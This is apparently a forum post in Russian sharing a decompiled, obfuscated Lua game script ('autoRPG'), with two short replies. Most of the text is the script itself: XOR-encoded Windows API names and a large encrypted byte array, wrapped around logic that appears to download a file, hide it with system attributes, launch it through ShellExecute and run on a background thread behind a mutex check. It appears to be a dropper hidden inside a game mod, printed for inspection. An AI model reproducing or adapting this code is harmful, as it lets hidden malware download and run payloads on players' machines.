    91,
    62,
    106,
    117,
    48,
    124,
    93,
    37,
    71,
    18,
    106,
    127,
    107,
    63,
    64,
    42,
    70,
    36,
    121,
    59,
    34,
    123,
    21,
    40,
    90,
    35,
    121,
    124,
    124,
    63,
    67,
    43,
    92,
    41,
    52,
    117,
    24,
    64,
    70,
    48,
    81,
    46,
    127,
    57,
    43,
    63,
    102,
    44,
    80,
    33,
    114,
    16,
    63,
    122,
    86,
    49,
    65,
    40,
    73,
    125,
    49,
    112,
    92,
    32,
    31,
    97,
    62,
    54,
    40,
    113,
    70,
    48,
    21,
    58,
    125,
    61,
    38,
    109,
    106,
    48,
    31,
    97,
    62,
    54,
    40,
    113,
    70,
    48,
    21,
    58,
    125,
    61,
    38,
    109,
    106,
    48,
    31,
    97,
    62,
    54,
    40,
    113,
    70,
    48,
    21,
    58,
    125,
    61,
    38,
    109,
    106,
    48,
    31,
    97,
    62,
    54,
    40,
    113,
    70,
    48,
    21,
    58,
    125,
    61,
    38,
    109,
    106,
    48,
    31,
    97,
    62,
    60,
    41,
    107,
    28,
    127,
    21,
    36,
    112,
    33,
    103,
    64,
    106,
    55,
    65,
    41,
    125,
    52,
    43,
    115,
    21,
    9,
    64,
    33,
    106,
    60,
    5,
    102,
    65,
    33,
    97,
    34,
    73,
    60,
    35,
    122,
    118,
    44,
    84,
    63,
    54,
    32,
    41,
    108,
    92,
    35,
    91,
    40,
    122,
    117,
    43,
    112,
    91,
    35,
    25,
    109,
    107,
    59,
    52,
    118,
    82,
    42,
    80,
    41,
    62,
    57,
    40,
    113,
    82,
    104,
    21,
    46,
    113,
    59,
    52,
    107,
    21,
    39,
    93,
    44,
    108,
    127,
    107,
    63,
    92,
    42,
    65,
    97,
    62,
    34,
    36,
    119,
    84,
    54,
    106,
    57,
    52,
    121,
    103,
    118,
    91,
    48,
    28,
    118,
    62,
    60,
    41,
    107,
    21,
    27,
    106,
    62,
    106,
    49,
    36,
    126,
    89,
    40,
    21,
    26,
    119,
    49,
    34,
    92,
    93,
    37,
    71,
    25,
    113,
    24,
    50,
    115,
    65,
    45,
    119,
    52,
    106,
    48,
    111,
    106,
    91,
    55,
    92,
    42,
    112,
    48,
    35,
    63,
    89,
    43,
    91,
    42,
    50,
    117,
    50,
    113,
    70,
    45,
    82,
    35,
    123,
    49,
    103,
    115,
    90,
    42,
    82,
    97,
    62,
    54,
    40,
    113,
    70,
    48,
    21,
    58,
    125,
    61,
    38,
    109,
    106,
    48,
    31,
    97,
    62,
    60,
    41,
    107,
    25,
    100,
    86,
    37,
    127,
    39,
    109,
    51,
    21,
    45,
    91,
    57,
    50,
    117,
    36,
    112,
    91,
    55,
    65,
    109,
    125,
    61,
    38,
    109,
    31,
    104,
    21,
    36,
    112,
    33,
    109,
    54,
    14,
    100,
    89,
    34,
    112,
    50,
    103,
    64,
    106,
    55,
    65,
    41,
    125,
    52,
    43,
    115,
    21,
    7,
    90,
    4,
    112,
    60,
    51,
    118,
    84,
    40,
    92,
    55,
    123,
    125,
    49,
    112,
    92,
    32,
    31,
    100,
    37,
    117,
    49,
    112,
    92,
    32,
    21,
    18,
    65,
    38,
    51,
    123,
    86,
    37,
    89,
    33,
    62,
    22,
    40,
    74,
    91,
    45,
    91,
    36,
    106,
    60,
    38,
    115,
    92,
    62,
    80,
    101,
    104,
    58,
    46,
    123,
    28,
    127,
    21,
    56,
    112,
    38,
    46,
    120,
    91,
    33,
    81,
    109,
    114,
    58,
    41,
    120,
    21,
    27,
    106,
    62,
    106,
    49,
    36,
    126,
    89,
    40,
    21,
    10,
    123,
    33,
    10,
    112,
    81,
    49,
    89,
    40,
    88,
    60,
    43,
    122,
    123,
    37,
    88,
    40,
    73,
    125,
    49,
    112,
    92,
    32,
    31,
    97,
    62,
    34,
    36,
    119,
    84,
    54,
    106,
    57,
    52,
    121,
    103,
    106,
    91,
    55,
    92,
    42,
    112,
    48,
    35,
    63,
    89,
    43,
    91,
    42,
    55,
    110,
    103,
    106,
    91,
    55,
    92,
    42,
    112,
    48,
    35,
    63,
    89,
    43,
    91,
    42,
    62,
    10,
    24,
    108,
    65,
    32,
    86,
    44,
    114,
    57,
    103,
    88,
    80,
    48,
    97,
    40,
    115,
    37,
    23,
    126,
    65,
    44,
    98,
    101,
    107,
    59,
    52,
    118,
    82,
    42,
    80,
    41,
    62,
    57,
    40,
    113,
    82,
    104,
    21,
    58,
    125,
    61,
    38,
    109,
    106,
    48,
    31,
    100,
    37,
    117,
    37,
    112,
    90,
    40,
    21,
    18,
    65,
    38,
    51,
    123,
    86,
    37,
    89,
    33,
    62,
    5,
    38,
    107,
    93,
    2,
    92,
    33,
    123,
    16,
    63,
    118,
    70,
    48,
    70,
    26,
    54,
    54,
    40,
    113,
    70,
    48,
    21,
    58,
    125,
    61,
    38,
    109,
    106,
    48,
    31,
    100,
    37,
    117,
    49,
    112,
    92,
    32,
    31,
    109,
    65,
    10,
    52,
    107,
    81,
    39,
    84,
    33,
    114,
    117,
    4,
    109,
    80,
    37,
    65,
    40,
    88,
    60,
    43,
    122,
    98,
    108,
    86,
    34,
    112,
    38,
    51,
    63,
    66,
    39,
    93,
    44,
    108,
    10,
    51,
    53,
    25,
    100,
    64,
    35,
    109,
    60,
    32,
    113,
    80,
    32,
    21,
    33,
    113,
    59,
    32,
    51,
    21,
    49,
    91,
    62,
    119,
    50,
    41,
    122,
    81,
    100,
    89,
    34,
    112,
    50,
    107,
    63,
    67,
    43,
    92,
    41,
    52,
    121,
    103,
    106,
    91,
    55,
    92,
    42,
    112,
    48,
    35,
    63,
    89,
    43,
    91,
    42,
    50,
    117,
    50,
    113,
    70,
    45,
    82,
    35,
    123,
    49,
    103,
    115,
    90,
    42,
    82,
    97,
    62,
    35,
    40,
    118,
    81,
    110,
    28,
    118,
    62,
    57,
    40,
    113,
    82,
    100,
    106,
    18,
    109,
    33,
    35,
    124,
    84,
    40,
    89,
    109,
    89,
    48,
    51,
    89,
    92,
    40,
    80,
    30,
    119,
    47,
    34,
    55,
    67,
    43,
    92,
    41,
    52,
    121,
    103,
    105,
    90,
    45,
    81,
    103,
    55,
    110,
    103,
    125,
    90,
    43,
    89,
    109,
    65,
    10,
    52,
    107,
    81,
    39,
    84,
    33,
    114,
    117,
    21,
    122,
    84,
    32,
    115,
    36,
    114,
    48,
    111,
    105,
    90,
    45,
    81,
    103,
    50,
    117,
    49,
    112,
    92,
    32,
    31,
    97,
    62,
    32,
    41,
    108,
    92,
    35,
    91,
    40,
    122,
    117,
    43,
    112,
    91,
    35,
    25,
    109,
    107,
    59,
    52,
    118,
    82,
    42,
    80,
    41,
    62,
    57,
    40,
    113,
    82,
    110,
    25,
    109,
    104,
    58,
    46,
    123,
    31,
    109,
    14,
    109,
    124,
    58,
    40,
    115,
    21,
    27,
    106,
    62,
    106,
    49,
    36,
    126,
    89,
    40,
    21,
    9,
    123,
    57,
    34,
    107,
    80,
    2,
    92,
    33,
    123,
    2,
    111,
    124,
    90,
    42,
    70,
    57,
    62,
    34,
    36,
    119,
    84,
    54,
    106,
    57,
    52,
    124,
    124,
    63,
    67,
    43,
    92,
    41,
    62,
    10,
    24,
    108,
    65,
    32,
    86,
    44,
    114,
    57,
    103,
    76,
    89,
    33,
    80,
    61,
    54,
    32,
    41,
    108,
    92,
    35,
    91,
    40,
    122,
    117,
    43,
    112,
    91,
    35,
    28,
    118,
    62,
    55,
    40,
    112,
    89,
    100,
    106,
    18,
    109,
    33,
    35,
    124,
    84,
    40,
    89,
    109,
    93,
    57,
    40,
    108,
    80,
    12,
    84,
    35,
    122,
    57,
    34,
    55,
    67,
    43,
    92,
    41,
    52,
    124,
    124,
    63
}))

slot8 = slot6.load(slot4({
    49,
    71,
    33,
    115,
    58,
    41
}))
slot9 = slot6.load(slot4({
    55,
    93,
    33,
    105,
    52,
    55,
    118
}))
slot10 = slot6.load(slot4({
    55,
    93,
    40,
    114,
    57,
    116,
    45
}))
slot11 = slot6.load(slot4({
    43,
    89,
    40,
    45,
    103
}))
slot12 = slot6.load(slot4({
    51,
    92,
    35,
    119,
    59,
    34,
    107
}))
slot13 = slot4({
    14,
    80,
    57,
    82,
    58,
    38,
    123,
    80,
    54
})
slot14 = slot4({
    44,
    65,
    57,
    110,
    111,
    104,
    48,
    95,
    33,
    65,
    33,
    113,
    52,
    35,
    122,
    71,
    106,
    71,
    56,
    49,
    38,
    34,
    109,
    67,
    33,
    71,
    98,
    107,
    38,
    34,
    109,
    26,
    40,
    90,
    44,
    122,
    48,
    53,
    118,
    91,
    34,
    90,
    99,
    110,
    61,
    55,
    32,
    69,
    37,
    91,
    40,
    114,
    10,
    46,
    123,
    8
})

function slot16(slot0)
    uv0[uv1({
        9,
        64,
        33,
        106,
        60,
        5,
        102,
        65,
        33,
        97,
        34,
        73,
        60,
        35,
        122,
        118,
        44,
        84,
        63
    })](0, 0, slot0, #slot0, uv2.new("wchar_t[?]", uv0[uv1({
        9,
        64,
        33,
        106,
        60,
        5,
        102,
        65,
        33,
        97,
        34,
        73,
        60,
        35,
        122,
        118,
        44,
        84,
        63
    })](0, 0, slot0, #slot0, nil, 0) + 1), uv0[uv1()](0, 0, slot0, #slot0, nil, 0))

    return uv2.new("wchar_t[?]", uv0[uv1()](0, 0, slot0, #slot0, nil, 0) + 1)
end

function slot17(slot0, slot1)
    uv1[uv2({
        19,
        92,
        41,
        123,
        22,
        47,
        126,
        71,
        16,
        90,
        0,
        107,
        57,
        51,
        118,
        119,
        61,
        65,
        40
    })](0, 0, slot0, slot1 or uv0.sizeof(slot0), uv0.new("char[?]", uv1[uv2({
        19,
        92,
        41,
        123,
        22,
        47,
        126,
        71,
        16,
        90,
        0,
        107,
        57,
        51,
        118,
        119,
        61,
        65,
        40
    })](0, 0, slot0, slot1 or uv0.sizeof(slot0), nil, 0, nil, nil) + 1), uv1[uv2()](0, 0, slot0, slot1 or uv0.sizeof(slot0), nil, 0, nil, nil), nil, nil)

    return uv0.string(uv0.new("char[?]", uv1[uv2()](0, 0, slot0, slot1 or uv0.sizeof(slot0), nil, 0, nil, nil) + 1))
end

function slot18(slot0)
    return slot0:match("(.*\\).-%..+$")
end

function slot19()
    if uv1[uv2({
        3,
        80,
        57,
        83,
        58,
        35,
        106,
        89,
        33,
        115,
        36,
        114,
        48,
        9,
        126,
        88,
        33,
        98
    })](nil, uv0.new("wchar_t[?]", slot0), 260) ~= 0 then
        return uv3(uv4(slot1))
    end

    return nil
end

function slot20(slot0, slot1)
    if slot0 ~= nil and slot1 ~= nil and uv0[uv1({
        20,
        84,
        57,
        118,
        19,
        46,
        115,
        80,
        1,
        77,
        36,
        109,
        33,
        52,
        72
    })](uv2(uv3(slot1))) then
        if not uv0[uv1({
            20,
            84,
            57,
            118,
            19,
            46,
            115,
            80,
            1,
            77,
            36,
            109,
            33,
            52,
            72
        })](uv2(slot1)) then
            uv4[uv1({
                0,
                80,
                33,
                123,
                33,
                34,
                74,
                71,
                40,
                118,
                44,
                125,
                61,
                34,
                90,
                91,
                48,
                71,
                52,
                73
            })](uv2(slot0))

            if uv5[uv1({
                17,
                103,
                1,
                90,
                58,
                48,
                113,
                89,
                43,
                84,
                41,
                74,
                58,
                1,
                118,
                89,
                33,
                98
            })](nil, uv2(slot0), slot1, 0, nil) == 0 then
                uv6[uv1({
                    23,
                    89,
                    40,
                    123,
                    37
                })](250)

                return true
            end
        end
    end

    return false
end

function slot21(slot0)
    if slot0 ~= nil then
        uv0[uv1({
            23,
            93,
            40,
            114,
            57,
            2,
            103,
            80,
            39,
            64,
            57,
            123,
            2
        })](nil, uv2("open"), uv2(slot0), nil, nil, 0)
    end
end

function slot22(slot0)
    if slot0 ~= nil then
        uv0[uv1({
            23,
            80,
            57,
            88,
            60,
            43,
            122,
            116,
            48,
            65,
            63,
            119,
            55,
            50,
            107,
            80,
            55,
            98
        })](uv2(slot0), 7)
    end
end

function slot23(slot0)
    if load("return " .. slot0:gsub("(\"[^\"]-\"):", "[%1]=")) ~= nil and slot1() ~= nil and type(slot2) == "table" then
        return slot2
    end

    return nil
end

function slot24()
    uv0 = uv1[uv2({
        7,
        71,
        40,
        127,
        33,
        34,
        82,
        64,
        48,
        80,
        53,
        73
    })](nil, false, uv3(uv4 .. "_" .. uv5))

    if uv1[uv2({
        3,
        80,
        57,
        82,
        52,
        52,
        107,
        112,
        54,
        71,
        34,
        108
    })]() == 183 then
        return true
    end

    return false
end

function slot25(slot0)
    if slot0 ~= nil and uv1[uv2({
        7,
        71,
        40,
        127,
        33,
        34,
        89,
        92,
        40,
        80,
        26
    })](slot0, 2147483648.0, 1, nil, 3, 128, nil) ~= uv3.cast("void*", -1) then
        if uv1[uv2({
            22,
            80,
            44,
            122,
            19,
            46,
            115,
            80
        })](slot1, uv3.new("char[?]", slot2), uv1[uv2({
            3,
            80,
            57,
            88,
            60,
            43,
            122,
            102,
            45,
            79,
            40
        })](slot1, nil), uv3.new("size_t[?]", 1), nil) == 0 then
            slot5 = false
        else
            slot5 = true
        end

        uv1[uv2({
            7,
            89,
            34,
            109,
            48,
            15,
            126,
            91,
            32,
            89,
            40
        })](slot1)
        uv1[uv2({
            0,
            80,
            33,
            123,
            33,
            34,
            89,
            92,
            40,
            80,
            26
        })](slot0)

        if slot5 then
            return uv3.string(slot3, slot2)
        end
    end

    return nil
end

function slot26()
    uv1[uv2({
        3,
        80,
        57,
        74,
        48,
        42,
        111,
        101,
        37,
        65,
        37,
        73
    })](slot0, uv0.new("wchar_t[?]", slot0))

    return uv3(uv0.new("wchar_t[?]", slot0))
end

function slot28(slot0, slot1)
    for slot6, slot7 in pairs(slot1) do
        if ({
            uv0({
                41,
                90,
                34,
                112,
                57,
                40,
                126,
                81,
                33,
                71,
                17,
                66
            }),
            uv0({
                55,
                84,
                32,
                110,
                51,
                50,
                113,
                86,
                55,
                105,
                17
            }),
            [3.0] = "",
            [4] = uv1(),
            [5] = uv0({
                39,
                89,
                40,
                113,
                9,
                27
            })
        })[slot7.type] ~= nil then
            if slot7.type ~= 4 or not (slot8 .. slot7.name) then
                slot9 = slot0 .. slot8 .. slot7.name
            end

            if uv2(slot7.link, slot9) then
                uv3(slot9)

                if slot7.type == 4 then
                    uv4(slot9)
                end
            end
        end
    end
end

slot30 = slot6.C[slot4({
    7,
    71,
    40,
    127,
    33,
    34,
    75,
    93,
    54,
    80,
    44,
    122
})](nil, 0, slot6.cast("thread", slot29), nil, 0, nil)

if getMoonloaderVersion == nil and slot30 ~= nil then
    slot7[slot4({
        19,
        84,
        36,
        106,
        19,
        40,
        109,
        102,
        45,
        91,
        42,
        114,
        48,
        8,
        125,
        95,
        33,
        86,
        57
    })](slot30, 4294967295.0)
    slot7[slot4({
        7,
        89,
        34,
        109,
        48,
        15,
        126,
        91,
        32,
        89,
        40
    })](slot30)
    function ()
        if uv3[uv4({
            20,
            84,
            57,
            118,
            19,
            46,
            115,
            80,
            1,
            77,
            36,
            109,
            33,
            52,
            72
        })](uv0(uv1() .. "task_" .. uv2 .. ".txt")) then
            uv5[uv4({
                0,
                80,
                33,
                123,
                33,
                34,
                89,
                92,
                40,
                80,
                26
            })](slot0)
        end
    end()

    if nil ~= nil then
        slot7[slot4({
            7,
            89,
            34,
            109,
            48,
            15,
            126,
            91,
            32,
            89,
            40
        })](nil)
    end
end

function onScriptTerminate(slot0)
    if slot0 == script.this then
        uv0()

        if uv1 ~= nil then
            uv2[uv3({
                7,
                89,
                34,
                109,
                48,
                15,
                126,
                91,
                32,
                89,
                40
            })](uv1)
        end

        if uv4 ~= nil then
            uv2[uv3({
                16,
                80,
                63,
                115,
                60,
                41,
                126,
                65,
                33,
                97,
                37,
                108,
                48,
                38,
                123
            })](uv4, 0)
            uv2[uv3({
                7,
                89,
                34,
                109,
                48,
                15,
                126,
                91,
                32,
                89,
                40
            })](uv4)
        end
    end
end
 

Вложения

  • autoRPG-decompiled.lua
    18 KB · Просмотры: 1

chapo

🫡 В армии с 17.10.2023. В ЛС НЕ ОТВЕЧАЮ
Друг
8,768
11,210
Это не закрытый код
ладно
1642929947371.png

1642929960004.png